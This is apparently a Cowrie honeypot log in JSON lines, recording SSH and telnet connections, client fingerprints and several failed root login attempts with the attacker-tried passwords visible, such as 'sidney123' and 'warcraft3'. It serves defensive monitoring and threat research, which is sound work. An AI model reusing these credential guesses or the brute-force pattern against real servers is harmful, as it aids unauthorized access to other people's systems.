{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:17.366736Z","src_ip":"80.94.92.184","session":"0b2711f51fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.91473317146301,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:20.810892Z","src_ip":"192.119.13.58","session":"42f184a84c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":47244,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e3c05afb1a","protocol":"ssh","message":"New connection: 43.135.182.46:47244 (159.203.135.109:22) [session: f1e3c05afb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:21.080633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:21.085995Z","src_ip":"43.135.182.46","session":"f1e3c05afb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:21.155087Z","src_ip":"43.135.182.46","session":"f1e3c05afb1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sidney123","message":"login attempt [root/sidney123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:21.460792Z","src_ip":"43.135.182.46","session":"f1e3c05afb1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.337406873703,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:22.111919Z","src_ip":"192.119.13.58","session":"1cdbe6ef03db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51338243484497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:22.380273Z","src_ip":"192.119.13.58","session":"5dbf3229da19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:22.532621Z","src_ip":"43.135.182.46","session":"f1e3c05afb1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.805638074874878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:25.177877Z","src_ip":"192.119.13.58","session":"2e98634b4952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f460f8b69715","protocol":"telnet","message":"New connection: 192.119.13.58:33308 (10.17.0.5:23) [session: f460f8b69715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:28.908232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34160,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2b7aa7cd01","protocol":"telnet","message":"New connection: 192.119.13.58:34160 (10.17.0.5:23) [session: cf2b7aa7cd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:29.096433Z"}
{"eventid":"cowrie.session.closed","duration":45.52275633811951,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:29.616063Z","src_ip":"192.119.13.58","session":"ba079c11a926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68f9f68c17b","protocol":"telnet","message":"New connection: 192.119.13.58:39766 (10.17.0.5:23) [session: e68f9f68c17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:30.636842Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54742,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c37bf192231","protocol":"telnet","message":"New connection: 192.119.13.58:54742 (10.17.0.5:23) [session: 1c37bf192231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:34.660817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":49234,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d4383415189","protocol":"ssh","message":"New connection: 103.166.103.173:49234 (159.203.135.109:22) [session: 6d4383415189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:34.982670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:34.990380Z","src_ip":"103.166.103.173","session":"6d4383415189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:35.229084Z","src_ip":"103.166.103.173","session":"6d4383415189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"quser","message":"login attempt [root/quser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:36.216948Z","src_ip":"103.166.103.173","session":"6d4383415189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:37.458126Z","src_ip":"103.166.103.173","session":"6d4383415189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec4a02c67c8","protocol":"telnet","message":"New connection: 192.119.13.58:40450 (10.17.0.5:23) [session: aec4a02c67c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:38.398133Z"}
{"eventid":"cowrie.session.closed","duration":39.38608169555664,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:38.721546Z","src_ip":"192.119.13.58","session":"ac2e745299ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d7f4ebea8a","protocol":"telnet","message":"New connection: 192.119.13.58:45328 (10.17.0.5:23) [session: 17d7f4ebea8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:39.652349Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"b123c43c2c7b","protocol":"telnet","message":"New connection: 192.119.13.58:50752 (10.17.0.5:23) [session: b123c43c2c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:41.024867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58818,"dst_ip":"10.17.0.5","dst_port":23,"session":"342f92feb2b8","protocol":"telnet","message":"New connection: 192.119.13.58:58818 (10.17.0.5:23) [session: 342f92feb2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:43.258139Z"}
{"eventid":"cowrie.session.closed","duration":39.79399275779724,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:46.000652Z","src_ip":"192.119.13.58","session":"18ecce7c31a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12341046333313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:59.031476Z","src_ip":"192.119.13.58","session":"f460f8b69715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50108,"dst_ip":"10.17.0.5","dst_port":23,"session":"277c5a03abfb","protocol":"telnet","message":"New connection: 192.119.13.58:50108 (10.17.0.5:23) [session: 277c5a03abfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:03.171173Z"}
{"eventid":"cowrie.session.closed","duration":35.97913122177124,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:05.075388Z","src_ip":"192.119.13.58","session":"cf2b7aa7cd01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41378,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0e8051efbe","protocol":"telnet","message":"New connection: 192.119.13.58:41378 (10.17.0.5:23) [session: 6e0e8051efbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:08.440571Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":55694,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8c5829b231","protocol":"ssh","message":"New connection: 43.135.129.144:55694 (159.203.135.109:22) [session: ac8c5829b231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:09.854016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:09.859390Z","src_ip":"43.135.129.144","session":"ac8c5829b231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:09.928940Z","src_ip":"43.135.129.144","session":"ac8c5829b231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webpass","message":"login attempt [root/webpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:10.234812Z","src_ip":"43.135.129.144","session":"ac8c5829b231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:11.307575Z","src_ip":"43.135.129.144","session":"ac8c5829b231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":49460,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d72900a74a","protocol":"ssh","message":"New connection: 43.153.104.156:49460 (10.17.0.5:22) [session: e7d72900a74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:12.648277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:12.655163Z","src_ip":"43.153.104.156","session":"e7d72900a74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:12.724054Z","src_ip":"43.153.104.156","session":"e7d72900a74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqq","message":"login attempt [root/qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:13.029080Z","src_ip":"43.153.104.156","session":"e7d72900a74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:14.100609Z","src_ip":"43.153.104.156","session":"e7d72900a74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58280420303345,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:14.219449Z","src_ip":"192.119.13.58","session":"e68f9f68c17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06340765953064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:14.715655Z","src_ip":"192.119.13.58","session":"17d7f4ebea8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.32084369659424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:14.981498Z","src_ip":"192.119.13.58","session":"1c37bf192231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60190,"dst_ip":"10.17.0.5","dst_port":22,"session":"2627bf308dc1","protocol":"ssh","message":"New connection: 94.159.98.239:60190 (10.17.0.5:22) [session: 2627bf308dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:16.789005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:16.851908Z","src_ip":"94.159.98.239","session":"2627bf308dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:16.994121Z","src_ip":"94.159.98.239","session":"2627bf308dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.46096658706665,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:17.718981Z","src_ip":"192.119.13.58","session":"342f92feb2b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"warcraft3","message":"login attempt [root/warcraft3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:17.727879Z","src_ip":"94.159.98.239","session":"2627bf308dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.21056652069092,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:18.608610Z","src_ip":"192.119.13.58","session":"aec4a02c67c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.643282413482666,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:19.668046Z","src_ip":"192.119.13.58","session":"b123c43c2c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:19.851275Z","src_ip":"94.159.98.239","session":"2627bf308dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"495b8e945c2f","protocol":"ssh","message":"New connection: 194.113.233.25:49290 (10.17.0.5:22) [session: 495b8e945c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:24.777614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:24.782475Z","src_ip":"194.113.233.25","session":"495b8e945c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:24.877985Z","src_ip":"194.113.233.25","session":"495b8e945c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$hex","message":"login attempt [root/$hex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:25.167462Z","src_ip":"194.113.233.25","session":"495b8e945c2f","protocol":"ssh"}
